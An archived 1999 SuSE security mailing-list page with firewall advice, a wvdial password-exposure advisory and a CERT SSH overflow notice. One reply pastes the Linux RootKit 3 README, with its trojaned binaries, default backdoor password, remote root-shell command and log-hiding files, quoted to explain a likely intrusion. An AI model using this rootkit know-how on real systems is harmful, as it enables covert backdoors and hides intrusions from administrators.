December 1999 - openSUSE Security - openSUSE Mailing Lists

RE: [suse-security] Setting up a firewall
by DEMERRE DIETER 16 Dec '99

16 Dec '99

-----BEGIN PGP SIGNED MESSAGE----- > -----Original Message----- > From: Brian Galbraith [mailto:brian.galbraith@bigfoot.com] > Sent: donderdag 16 december 1999 12:35 ... > don't need....but I would still like to set up a firewall. I > have all the > relevant packages installed, and have tried to configure, > using kfirewall. > All the rules remain in place while my system is running, but > if I shut the > system down..when I restart......all the rules have > disappeared, and I have > to reconfigure again. > Can anyone give me guidance on how to retain the rules in memory. // - ------<snip>---------------------------------------------------------- [For SuSE and RedHat systems] // Look up in /etc/inittab the runlevel you're running in. // is probably 2 or 3 for SuSE and 3 or 5 for RedHat // can be found between id: and :initdefault: // replace in what follows $RUNLEVEL by that value. [SuSE:] #export INDPATH=/sbin/init.d #export RLPATH=$INDPATH/rc$RUNLEVEL.d [RedHat:] #export INDPATH=/etc/rc.d/init.d #export RLPATH=$INDPATH/../rc$RUNLEVEL.d [All of the above:] #cd $INDPATH #echo '#!/bin/sh'>firewall #chmod u+x firewall #chown root.root firewall // put all commands to load the rules at the end of $INDPATH/firewall ... // Following you should change the 30 and 70 to acceptable // values for your system. // Typically it's right after S<n>network and right before K<n>network ln -s $INDPATH/firewall $RLPATH/S30firewall ln -s $INDPATH/firewall $RLPATH/K70firewall #echo Good luck !!! :D} // - ------<snip>---------------------------------------------------------- > Ideally I should run the system constantly.......but I am > afraid that Linux > does not yet have an Encarta equivalent for the youngsters:-( You should test VMWare. I'm not sure it's capable of "tunneling" sound-systems, but for the rest, it looks OK... Merry Greetings from - Z'ge Groetjes vanwege *** Dieter Demerre ----- ddemerre(a)acm.org ** http://www.angelfire.com/de/ddemerre/ ******************************************** Wanna get rid of idle Processor cycles ? distributed.net ? Try synchronising outlook. ******************************************** - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 6.5.1 Int. for non-commercial use <http://www.pgpinternational.com> mQENAzhXiLAAqQEIAMsoaNcCZFHswGBK1J4dRJvjUA7XwIICCKIKwU1HZIz5meGk rbSgfK3SwJaqQOTRveKjPYtiZ7D6H19bjsO+P9bvdvEZHLC4dCQIvJfSMlcvSvLN 2S/wpfqaDZBsFDk2WnBmah9wilrm3QE4ATbWgGDeRd/XvPuRNc10FiZjRnEp5h+1 PcBppgljLhlJuBFEKxEXxjUsyBTl1zM3Gex8u+vNvg80DtlnlUB7Kc++JkJOSa3e 7FZAN7WEXztH9rKQmeCc/a1S00zHoPBeJnsfhjaX/nUhL2MH0AfTn0fX2W7LxgEQ J9MJhxr8Ejlsj+a5wQD2OFGk4Ttn4ftB++EuukMABRG0IURpZXRlciBEZW1lcnJl IDxkZGVtZXJyZUBhY20ub3JnPokBFQMFEDhXiLDh+0H74S66QwEBr2MIAJyuK5vb 4gMBZNelDedU53df23VfyrychlEH5E2fudaqpt3pspCQgX78KK4vLWsFr9ycUUYF 0FdTQBCUuhvj8BShexU9VocxjuoSaNuNwMqNZCWIAWx3OksvkTiNmXUC8rswxYKu Z81O8LQifpjSe4tifAoZvdSBjrvKNyx6UfAWLrYlaUOmzxzRtulIIW8L429aU//a ivhdBmBs4TKR9/NTCwI1Z/OY8Kc46keOI4cmdTNDGDYjlZHNi7UG8kj4XxajL40o 6yLY7m2TfXBbRB2aK10CjinpPhi+Vk6fA3KJ9/a4am4o2Oe8Tvqm8DPp0BM4VuyW dT7wQMNZk5WW0Ho= =kTdL - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.1 Int. for non-commercial use <http://www.pgpinternational.com> iQEVAwUBOFjf5eH7QfvhLrpDAQFGzQf+ONssxHn7GI/St9h6iYj9jvpq+XB96oQQ XkSuBU4MFL6Vyf7ZGuHKja/vqSZB9DIN+2YsC3qkD6mFjmAIPwPcJEJ5phY1hAQy v9gylCTkGyKZa1Vml++LmgJca4tu6OyInPx18gFWKhSQbi36u8gzJHpaqRe7Dtlb Gk2AW6oeUKD/5Og/Amkzcr8n96dXtgHGFKMKxg9aOJ0LE1uY1dB/phojFumERqvN ifGEnRgfAWtU+m2WKy0xzOYoN+lXTV9jVLc2LKSUQT0zHBX0zNgeyjFDhe7MCkPo uueLIodcTER5mg4ucuE76k1Ga/3XBka7xJu7d7V5xgbGbA/r6OnINQ== =chON -----END PGP SIGNATURE-----

1 0

Setting up a firewall
by Brian Galbraith 16 Dec '99

16 Dec '99

I have a stand alone system with a dynamic IP address and occasional connection to the internet via a modem. I have shutdown all the services I don't need....but I would still like to set up a firewall. I have all the relevant packages installed, and have tried to configure, using kfirewall. All the rules remain in place while my system is running, but if I shut the system down..when I restart......all the rules have disappeared, and I have to reconfigure again. Can anyone give me guidance on how to retain the rules in memory. Ideally I should run the system constantly.......but I am afraid that Linux does not yet have an Encarta equivalent for the youngsters:-( Regards Brian -- ---------------------------------- E-Mail: Brian Galbraith <brian.galbraith(a)bigfoot.com> Date: 16-Dec-1999 Time: 11:33:00 Powered by SuSE Linux PGP Keys from http://www.freedomhound.com/pgp/en/ This message was sent by XFMail 1.4.4 ----------------------------------

1 0

RE: [suse-security] delay of msgs on the announce list
by Freudenberger Joerg 16 Dec '99

16 Dec '99

Hello Volker, hello folks Here is a diff of the two aquivalent headers (track cut at leaving suse.com) By analyzing that I think, suse-security is a direct list and suse-security-announce is a moderated list, e. g. an individual here named "hatred" proofed und passed the mail. Yours Jörg === Attachment 1,3c1,3 < .... suse-security < Received: (qmail 3680 invoked by alias); 14 Dec 1999 22:22:53 -0000 < Mailing-List: contact suse-security-help(a)suse.com; run by ezmlm --- > .... suse-security-announce > Received: (qmail 25233 invoked by alias); 15 Dec 1999 10:31:29 -0000 > Mailing-List: contact suse-security-announce-help(a)suse.com; run by ezmlm 6,13c6,15 < list-help: <mailto:suse-security-help@suse.com> < list-unsubscribe: <mailto:suse-security-unsubscribe@suse.com> < list-post: <mailto:suse-security@suse.com> < X-Mailinglist: suse-security < Delivered-To: mailing list suse-security(a)suse.com < Received: (qmail 3668 invoked from network); 14 Dec 1999 22:22:52 -0000 < Delivered-To: suse-security(a)suse.com < Message-Id: <19991214222702.2D30767AC(a)Galois.suse.de> --- > list-help: <mailto:suse-security-announce-help@suse.com> > list-unsubscribe: <mailto:suse-security-announce-unsubscribe@suse.com> > list-post: <mailto:suse-security-announce@suse.com> > X-Mailinglist: suse-security-announce > Delivered-To: mailing list suse-security-announce(a)suse.com > Delivered-To: moderator for suse-security-announce(a)suse.com > Received: (qmail 3669 invoked from network); 14 Dec 1999 22:22:52 -0000 > Delivered-To: suse-security-announce(a)suse.com > Approved: hatred > Message-Id: <19991214222702.3694767AE(a)Galois.suse.de> 16c18 < Subject: [suse-security] SuSE Security Announcement - wvdial --- > Subject: [suse-security-announce] SuSE Security Announcement - wvdial

1 0

delay of msgs on the announce list
by Volker Kuhlmann 16 Dec '99

16 Dec '99

Hello, why is it that the same msgs always seems to take hugely longer to come through on the security-announce list? This delay of 12 hours seems fairly standard. Considering that security-announce is for important security-related announcements this kind of lag can be a problem depending on what situation SUSE Linux is used in. Any chances of rectification by SuSE? > From suse-security-return-847-kuhlmav=elec.canterbury.ac.nz(a)suse.com Wed Dec 15 11:28:02 1999 > Date: Tue, 14 Dec 1999 23:27:02 +0100 (MET) > From: marc(a)suse.de (Marc Heuse) > Subject: [suse-security] SuSE Security Announcement - wvdial > Delivered-to: mailing list suse-security(a)suse.com > Delivered-to: suse-security(a)suse.com > From suse-security-announce-return-25-kuhlmav=elec.canterbury.ac.nz(a)suse.com Wed Dec 15 23:35:53 1999 > Date: Tue, 14 Dec 1999 23:27:02 +0100 (MET) > From: marc(a)suse.de (Marc Heuse) > Subject: [suse-security-announce] SuSE Security Announcement - wvdial > Delivered-to: mailing list suse-security-announce(a)suse.com > Delivered-to: moderator for suse-security-announce(a)suse.com Volker

1 0

CERT Advisory CA-99.15
by Johann G. Hautzinger 15 Dec '99

15 Dec '99

hi list, today the following cert advisory (99.15) reached my mailbox: ---snip--- CERT Advisory CA-99-15 Buffer Overflows in SSH Daemon and RSAREF2 Library Original release date: December 13, 1999 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running some versions of sshd * Systems using products that use RSAREF2 (e.g., some SSL-enabled web servers) [...] ---snap--- they talk of sshd-1.2.27 which is exactely what i have (SuSE 6.3): SSH Version 1.2.27 [i686-unknown-linux], protocol version 1.5. Standard version. Does not use RSAREF. due to american export regulation this is not too bad (no rsaref) but according to my opinion bad enough when will we hear the "patch-song"? ;-) greetz from vienna Hannes -- Johann Georg Hautzinger, email: trema(a)eic.at, Tel.: 531 00 1907 Erste Bank AG - OE 0423 - Orga./Entw. Treasury u. Orga.Wertpapier Boersegasse 14, 1010 Wien http://treasury.erstebank.at

7 12

SuSE Security Announcement - wvdial
by marc＠suse.de 14 Dec '99

14 Dec '99

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: wvdial <= 1.4 Date: Tue, 14 Dec 1999 22:13:51 GMT Affected SuSE versions: all including 6.3 Vulnerability Type: possible access to dialup passwords SuSE default package: no Other affected systems: all unix systems using wvdial ______________________________________________________________________________ A security hole was discovered in the package mentioned above. Please update as soon as possible or disable the service if you are using this software on your SuSE Linux installation(s). Other Linux distributions or operating systems might be affected as well, please contact your vendor for information about this issue. Please note, that that we provide this information on an "as-is" basis only. There is no warranty whatsoever and no liability for any direct, indirect or incidental damage arising from this information or the installation of the update package. _____________________________________________________________________________ 1. Problem Description If someone uses the wvdial.lxdialog script to configure a ppp dialup, the config file /var/lib/wvdial/.config is created readable for everyone. This config file usually contains the login and password for the dialup. However, the directory where the config file is placed is only accessable to those in the "dialout" group. The default wvdial config file of SuSE, which is /etc/wvdial.conf, hasn't got this problem. 2. Impact Local users in the "dialout" group might gain access to dialup login information when the wvdial.lxdialog script is used. 3. Solution Update the package from our FTP server, or run the command below: chmod 600 /var/lib/wvdial/.config ______________________________________________________________________________ Please verify these md5 checksums of the updates before installing: (For SuSE 6.0, please use the 6.1 updates) eb0c8cf0bb3c2dfa56fe753679a3117d ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wvdial-1.20-38.i386.rpm 74069a12c78f760dc48a27d7bc6222a2 ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wvdial-1.40-21.i386.rpm ec84718a84f65b28ffdde46cef6825c0 ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wvdial-1.40-19.i386.rpm ______________________________________________________________________________ You can find updates on our ftp-Server: ftp://ftp.suse.com/pub/suse/i386/update for Intel processors ftp://ftp.suse.com/pub/suse/axp/update for Alpha processors or try the following web pages for a list of mirrors: http://www.suse.de/ftp.html http://www.suse.com/ftp_new.html Our webpage for patches: http://www.suse.de/patches/index.html Our webpage for security announcements: http://www.suse.de/security If you want to report vulnerabilities, please contact security(a)suse.de ______________________________________________________________________________ SuSE has got two free security mailing list services to which any interested party may subscribe: suse-security(a)suse.com - moderated and for general/linux/SuSE security discussions. All SuSE security announcements are send to this list. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe to the list, send a message to: <suse-security-subscribe(a)suse.com> To remove your address from the list, send a message to: <suse-security-unsubscribe(a)suse.com> Send mail to the following for info and FAQ for this list: <suse-security-info(a)suse.com> <suse-security-faq(a)suse.com> _____________________________________________________________________________ This information is provided freely to everyone interested and may be redistributed provided that it is not altered in any way. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - -------BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - -------END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOFbEHney5gA9JdPZAQHriwf+LK+68L/zT15KhER+8nAO1890KCLwViVB xdcMTIxa2DZAcdbtfzRGbTPciOMOHgPjzzKbeUq6e9Hn6XW9G5MvMOyud1KUN7f7 HSSVvEITkc9rhGF6rxMOJscxcu9Tw0qIjEnMh9xLLF7cgLvXa6Bgto8a75dDxnTA O3GKhK6FZ6E6rT3ZdwmIH4q4Cup06TbDZc0zXy7gie6pyUDDvx6xqacvgm4I6saV A40Q8sr8igBh/8Rbp0SpLmA1uG8VqJUX2BN7dbZmgTAhKgYfnHmj4o+qcpJQ7uOQ s+Xa1AVt6sTcMHq1N11JdX3u9ISaQWql5cD/QaUrbUiPgxz/IUG/zQ== =YlXs -----END PGP SIGNATURE-----

1 0

Buffer overflow in ssh v1.x
by Christopher Mahmood 14 Dec '99

14 Dec '99

Hi All, This does *not* affect our ssh package, but in case you built your own you may want to look into this. The vulnerable only exists in version 1.x which use RSAREF2. If you don't know whether you specified the '--with-rsaref' configure option, run $ ssh -V The CERT advisory can be found here: http://www.cert.org/advisories/CA-99-15-RSAREF2.html -- Cheers, Christopher Mahmood ------------------------------------------------------------------- SuSE Inc., Tel: +1-510-628-3380, x5024 580 Second St., Suite 210 Fax: +1-510-628-3381 Oakland CA 94607 Email: ckm(a)suse.com USA WWW: http://www.suse.com -------------------------------------------------------------------

1 1

how secure is cold fusion on Linux?
by Manuel Diaz 14 Dec '99

14 Dec '99

Is Cold Fusion secure enough on Linux that any of you know of? OR should I wait until bugs are worked out?

1 0

Re: [suse-security] strange kernel message.
by Chrissy LeMaire 14 Dec '99

14 Dec '99

This is not a good thing, Mirek. Someone or some program setup your network card so that it can now be sniffed. ALL non-encrypted information passing through your card, including passwords are now able to be read by a third-party. I hear a reboot can set it back to be non-promiscuous..but if you have been exploited, rebooting can do more harm than good. Check the integrity of your login binary..and other items. Its quite possible you have been exploited by a script kiddie. They may have even installed a "root kit". Here is the readme for Linux RootKit 3. UPDATES 3.0 Everything updated with lastest sources for 2.X kernel. Added shadow support. Added trojan tcp wrappers. Removed sniffit and lled. Improved lots of stuff. This packages includes the following: chfn Trojaned! User->r00t chsh Trojaned! User->r00t inetd Trojaned! Remote access login Trojaned! Remote access ls Trojaned! Hide files du Trojaned! Hide files ifconfig Trojaned! Hide sniffing netstat Trojaned! Hide connections passwd Trojaned! User->r00t ps Trojaned! Hide processes top Trojaned! Hide processes rshd Trojaned! Remote access syslogd Trojaned! Hide logs linsniffer Packet sniffer! fix File fixer! z2 Zap2 utmp/wtmp/lastlog eraser! wted wtmp/utmp editor! lled lastlog editor! bindshell port/shell type daemon! tcpd Trojaned! Hide connections, avoid denies INSTALLATION To install this kit in its standard form execute 'make all install'. To install the shadow kit execute 'make shadow install'. All of the files/password configuration is in rootkit.h so feel free to personalise your own version of lrk3 :-) This kit is for linux 2.X kernels ONLY so don't complain when nothing works on old systems. USAGE OK I will go thru how to use each program one by one. NOTE when I say password I mean the rootkit password not your users password (doh!). By default the rootkit password is lrkr0x. chfn - Local user->root. Run chfn then when it asks you for a new name enter your password. chsh - Local user->root. Run chsh when it asks you for a new shell enter your password. inetd - Don't even *think* about asking ;-) It ain't that hard.. login - Allows login to any account with the rootkit password. If root login is refused on your terminal login as "rewt". Disables history logging when backdoor is used. ls - Trojaned to hide specified files and dirs. The data file is ROOTKIT_FILES_FILE, defaults to /dev/ptyr. All files can be listed with 'ls -/' if SHOWFLAG is enabled. (see rootkit.h) The format of /dev/ptyr is: ptyr hack.dir w4r3z ie. just the filenames. This would hide any files/dirs with the names ptyr, hack.dir and w4r3z. du - Same as ls, 'cept for du instead :) ifconfig - Modified to remove PROMISC flag when sniffing. netstat - Modified to remove tcp/udp/sockets from or to specified addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE. default data file: /dev/ptyq type 0: hide uid type 1: hide local address type 2: hide remote address type 3: hide local port type 4: hide remote port type 5: hide UNIX socket path example: 0 500 <- Hides all connections by uid 500 1 128.31 <- Hides all local connections from 128.31.X.X 2 128.31.39.20 <- Hides all remote connections to 128.31.39.20 3 8000 <- Hides all local connections from port 8000 4 6667 <- Hides all remote connections to port 6667 5 .term/socket <- Hides all UNIX sockets including the path .term/socket passwd - Local user->root. Enter your rootkit password instead of your old password. ps - Modified to remove specified processes. The file used is ROOTKIT_PROCESS_FILE, default to /dev/ptyp. An example data file is as follows: 0 0 Strips all processes running under root 1 p0 Strips tty p0 2 sniffer Strips all programs with the name sniffer 3 hack Strips all programs with 'hack' in them ie. proghack1, hack.scan, snhack etc. Don't put in the comments, obviously. Note: if this doesn't seem to work make sure there are no spaces after the names, and don't use the full path name. top - Identical to ps, 'cept for top instead. rshd - Execute remote commands as root. Usage: rsh -l rootkitpassword host command ie. rsh -l lrkr0x cert.org /bin/sh -i would start a root shell. syslogd - Modified to remove specified strings from logging. The data file is ROOTKIT_LOG_FILE, this defaults to /dev/ptys. Example data file: evil.com 123.100.101.202 rshd This would remove all logs containing the strings evil.com, 123.100.101.202 and rshd. tcpd - Modified to allow access from your host without any logging. Any type 1 record in the ROOTKIT_ADDRESS_FILE is used for tcpd. See netstat for more infoz on this file. Example data file: 1 123.4.5.6 would set up the tcp wrappers to allow and hide connects from 123.4.5.6. linsniffer - A kewl packet sniffer. U might like to check out another sniffer for linux if this doesn't suit ya needs. (ie. sniffit, pcs, snoofer, whatver). I removed sniffit for space reasons, if you want it the latest version can be found at http://reptile.rug.ac.be/~coder/sniffit/sniffit.html fix - Replaces and fixes timestamp/checksum infomation on files. New lrk3 version :-) z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries for a username. This can be detected since it just nulls the entry out. wted - This does lots of stuff. U can view ALL the entries in a wtmp or utmp type file, erase entries by username or hostname, view zapped users (admins use a util similar to this to find erased entries), erase zapped users etc. .......Other useless info deleted....... A good idea is to take that box off the network if possible..until it has been restored. Hope this helps, Chrissy At 12:30 PM 12/13/1999 +0100, you wrote: >Hello Everybody , > >Has anyone an idea what this message means? >"kernel: eth0: Setting promiscuous mode. " > >in the same time the kernel routing table of this machine had an strange >entry to a host of our provider but this host was not in the local >intranet. >thank you in advance. >Mirek > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com

6 5

RE: [suse-security] Strange log entry in messages
by "Schäfer, Axel" 14 Dec '99

14 Dec '99

Thanx a lot! Why didn't I think of that! It is definitly a cron job - checked it out. At exactly 6:53 cron.daily is starting doing its stuff. Thanx again! > -----Original Message----- > From: Heiko Degenhardt [mailto:heiko.degenhardt@sentec-elektronik.de] > Sent: Monday, December 13, 1999 4:17 PM > To: 'suse-security(a)suse.com' > Subject: Re: [suse-security] Strange log entry in messages > > > > > "Schäfer, Axel" wrote: > > > > Hi! > Hi Axel! > > > ... > > Dec 13 06:53:31 snooker su: (to nobody) root on none > Is it a cron job running daily? > Verify your /etc/crontab and everything under /etc/cron.daily. > > Rgds. > Heiko. > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com >

1 0